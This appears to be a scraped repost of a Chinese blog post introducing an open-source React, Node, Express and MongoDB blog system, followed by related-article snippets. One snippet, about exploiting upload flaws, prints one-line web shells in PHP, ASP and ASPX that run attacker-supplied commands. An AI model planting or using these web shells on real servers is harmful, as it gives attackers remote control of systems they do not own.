react + node + express + ant + mongodb 的简洁兼时尚的博客网站

news/2024/4/27 6:13:38/文章来源:https://blog.csdn.net/weixin_33712881/article/details/88690688

首页

前言

此项目是用于构建博客网站的,由三部分组成,包含前台展示、管理后台和后端。

此项目是基于 react + node + express + ant + mongodb 的,项目已经开源,项目地址在 github 上,喜欢的,欢迎给个 star 。

项目地址:

前台展示: https://github.com/biaochenxuying/blog-react
管理后台:https://github.com/biaochenxuying/blog-react-admin
后端:https://github.com/biaochenxuying/blog-node

1. 效果图

1.1 前台展示

效果图:

  • 移动端适配

mobile.gif

  • pc 端

首页

标签分类文章

留言

时间轴

登录

注册

文章详情-1

文章详情-2

文章详情-3

点赞与评论

前台展示目前只支持 pc 端。

1.2 管理后台

管理后台是在蚂蚁金服用户开源的 ANT DESIGN PRO 基础上进行开发的。

登录

用户

文章

文章添加

留言

留言回复

链接

时间轴

时间轴添加

标签

分类

2. 体验地址

  • 网站主页: http://biaochenxuying.cn/main.html
  • 网站首页:http://biaochenxuying.cn/
  • 管理后台:https://preview.pro.ant.design/user/login

3. 计划

这次是一个完整的全栈式开发,只要部署了这三个项目的代码,是完全可以搭建好博客网站的。

作为一个后端的小白,在这次开发中,小汪也遇到了很多问题。

往后的时间里,我会就这三个项目,推出相应的三篇文章教程或者说明和踩到的坑,敬请期待。

4. 收获与感触

学而不用,基本等于没学,所以为了有 react 相关的技术栈的实战经验,所以用了 react ,而且后端技术 node.js 和 mongodb 也是这一个多月里现学现用的,所以项目中肯定还有很多我不知道的实用技巧,如果写的不好的地方,请大家指出。

网站前端部分如果用 vue 相关技术栈来完成的话,会更好更快,因为本人专长的是 vue 相关的技术栈。

因为最近一直在做自己的个人博客网站,所以好久没更新技术文章了;而且是利用业余时间做的,所以经过差不多两个月的搬砖,现在网站终于都上线了。

开发网站的这段时间里,每天晚上几乎都搬砖到接近 11 点,周末的时间大多也在搬砖,今晚写完这篇文章,也快 12 点了,搬砖不易啊,喜欢或者觉得不错的,欢迎到 github 上给个 star,谢谢。

5. 文档教程

项目地址:

前台展示: https://github.com/biaochenxuying/blog-react

管理后台:https://github.com/biaochenxuying/blog-react-admin

后端:https://github.com/biaochenxuying/blog-node

blog:https://github.com/biaochenxuying/blog

本博客系统的系列文章:

    1. react + node + express + ant + mongodb 的简洁兼时尚的博客网站
    1. react + Ant Design + 支持 markdown 的 blog-react 项目文档说明
    1. 基于 node + express + mongodb 的 blog-node 项目文档说明
    1. 服务器小白的我,是如何将node+mongodb项目部署在服务器上并进行性能优化的

最后

全栈开发 有兴趣的朋友可以扫下方二维码关注我的公众号,我会不定期更新有价值的内容。

微信公众号:BiaoChenXuYing
分享 前端、后端开发等相关的技术文章,热点资源,全栈程序员的成长之路。

关注公众号并回复 福利 便免费送你视频资源,绝对干货。

福利详情请点击: 免费资源分享--Python、Java、Linux、Go、node、vue、react、javaScript

BiaoChenXuYing

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_756335.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ASP.NET网站部署问题集

这几天为了给客户演示我们的项目,发现原来程度在开发环境和部署环境中还不太一样,原本在开发环境中程度运行的好好的,而部署后装在服务器则可能产生不少的错误。因此记录下所遇到的问题,方便以后查询同时也希望能帮遇到相关问题的…

大型网站系统架构演化之路

大型网站系统架构演化之路 前言 一个成熟的大型网站(如淘宝、天猫、腾讯等)的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的,它是随着用户量的增加,业务功能 的 扩展逐渐演变完善的,在这个过…

接入高防之后网站问题需要排查的有哪些?

接入高防之后,为了保证业务最大程度的稳定,确认问题所在,墨者安全建议在切换本地的测试。本地测试步骤为:a.首先修改本地hosts文件,使本地对于被防护站点的请求经过高防,以Windows操作系统为例:…

利用jsonp抓取某网站数据详细示例

一、使用chrome浏览器自带web开发工具(F12,也可以使用fildder等工具)&#xff0c;找到请求的地址 这里的request url 就是我们需要请求的地址 然后点击response会发现返回的数据格式&#xff0c; 二、 新建html页面,代码如下 <!DOCTYPE html> <html> <head>&…

Ajax_实现动态网站的技术、php语法、php接口、前端渲染和后端渲染

1、实现动态网站的技术&#xff08;后端语言&#xff09; php、java&#xff08;jsp和php语言差不多&#xff09;、.net、Nodejs、python。。。 最简单的是学php 2、php基本语法  js中 js代码用script包起来&#xff0c;php中用<?php ?>包起来后&#xff0c;可以放…

《Linux就该这么学》第10章 使用Apache服务部署静态网站

《Linux就该这么学》! 学习网址&#xff1a;https://www.linuxprobe.com/ 灰常不错的网站和学习课程~~~! 第10章 使用Apache服务部署静态网站 网站服务&#xff1a;通过浏览器访问服务器&#xff0c;传送10.1 网站服务程序 目前能够提供Web网络服务的程序有IIS、Nginx和Apache等…

今天分享几个牛逼的网站,不知道你用过没?

点击蓝色字关注我们&#xff01;一个正在努力变强的公众号今天给各位小伙伴推荐几个我经常使用的网站&#xff0c;这些网站可以节省大家许多的时间&#xff0c;增大大家的工作效率。&#xff08;也没给我广告费&#xff0c;纯属分享&#xff09;1 Iconfonthttps://www.iconfont…

收藏!这段时间又发现了几个提高效率的网站!

前面写过一篇推荐网站的文章(今天分享几个牛逼的网站&#xff0c;不知道你用过没&#xff1f;)&#xff0c;感觉反响还不错。这段时间又发现了几个比较牛逼的网站&#xff0c;分享给大家&#xff0c;让大家的工作效率更高。马可菠萝https://www.macbl.com/前段时间用上了MAC系统…

自己如何开发一个B站视频下载网站?

点击上方“Python进击者”&#xff0c;关注我&#xff01;坚持初心&#xff0c;坚持原创前言hello&#xff0c;各位小伙伴&#xff0c;这是公众号改名后的第一篇原创。不管改不改名&#xff0c;我都是会坚持初心&#xff0c;记录技术&#xff0c;不搞虚的&#xff0c;希望大家能…

那些X音无水印视频下载网站怎么实现的?

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言看到很多朋友都在用网上一些某音无水印下载&#xff0c;作为程序员&#xff0c;咱们自己来整一个。今天咱们来说说某音无水印下载的思路&#xff0c;没有为什么&#xff0c;直接往…

我收藏夹里五个贼好用的网站分享给你了

点击上方“Python进击者”&#xff0c;选择“星标”公众号重磅干货&#xff0c;第一时间送达前言各位小伙伴大家好&#xff0c;今天又来分享一波自己收藏的超好用的网站&#xff0c;之前写过两期实用网站分享&#xff0c;感觉反馈都不错。今天抽空再来跟大家分享一波&#xff0…

五个吊炸天的网站

点击上方“Python进击者”&#xff0c;选择“星标”公众号超级无敌干货推送给你&#xff01;&#xff01;Python进击者第185篇原创文章前言 大家好&#xff0c;我是Kuls。 很久没来给大家分享一些牛逼的网站了&#xff0c;今天来给大家推荐一波。如果之前的好站分享没看过&…

其他工具网站收集

Unsplash.it – 图片占位符&#xff0c;支持个性化 Unsplash.it 是一个使用漂亮的图像作为占位符的工具。只要把你的图像尺寸&#xff08;宽与高&#xff09;放到网址后面的参数中&#xff0c;你会得到一个占位符。你可以很容易地得到一个随机图像或者是一个模糊图像。也支持获…

利用网站上传漏洞使用一句话木马控制服务器

一句话木马 常用于php、asp、aspx php <?php echo shell_exec($_GET[cmd]);?> asp <%execute(request("value"))%> aspx <% Page Language"Jscript"%> <%eval(Request.Item["value"])%> jsp 无回显执行系统命令 <%…

网站服务器购买配置选购方案

云服务器 的配置选择&#xff0c;和网站或应用的类型、访问量、数据量大小、程序质量等因素有关&#xff0c;建议和您的网站或应用的开发技术人员沟通&#xff0c;选择最适合您的配置。 如果您没有技术人员可提供建议&#xff0c;可以参考我们的建议进行配置选择。网站初始阶段…

惊爆:Alexa 全球排名网站即将关闭

作者 | 辛晓亮近日&#xff0c;亚马逊宣布&#xff0c;计划于明年 5 月份关其全球网站排名网站 Alexa。目前 Alexa 已经停止付费服务的新用户注册&#xff0c;现有付费用户可以使用到 2022 年 5 月 1 日。Alexa 在官方公告中称“25 年前&#xff0c;我们创立了 Alexa Internet&…

大型网站技术架构(六)网站的伸缩性架构

2019独角兽企业重金招聘Python工程师标准>>> 网站系统的伸缩性架构最重要的技术手段就是使用服务器集群功能&#xff0c;通过不断地向集群中添加服务器来增强整个集群的处理能力。“伸”即网站的规模和服务器的规模总是在不断扩大。 1、网站架构的伸缩性设计 网站的…

大型网站技术架构(二)架构模式

2019独角兽企业重金招聘Python工程师标准>>> 每一个模式描述了一个在我们周围不断重复发生的问题及该问题解决方案的核心。这样&#xff0c;你就能一次又一次地使用该方案而不必做重复工作。 所谓网站架构模式即为了解决大型网站面临的高并发访问、海量数据、高可靠…

抓取Bing每日图片作为网站首页背景

把Bing搜索的背景图片设置为自己网站的背景&#xff0c;实现背景及资讯的每日更新 效果图如下&#xff1a; 理一下思路&#xff0c;首先我们要抓取Bing的每日图片及最新资讯&#xff0c;然后保存图片及信息到本地&#xff0c;最后显示图片及资讯到网站首页。 第一步&#xff1a…

.NET Core 控制台如何嵌入运行 Web API网站?

【导读】我们知道在.NET Framework中可以嵌入运行Web APi&#xff0c;那么在.NET Core&#xff08;.NET 6称之为.NET&#xff09;中如何内嵌运行Web Api呢&#xff0c;在实际项目中这种场景非常常见&#xff0c;那么我们本节以.NET 6.0作为演示示例一起来瞅瞅。内嵌运行.NET Co…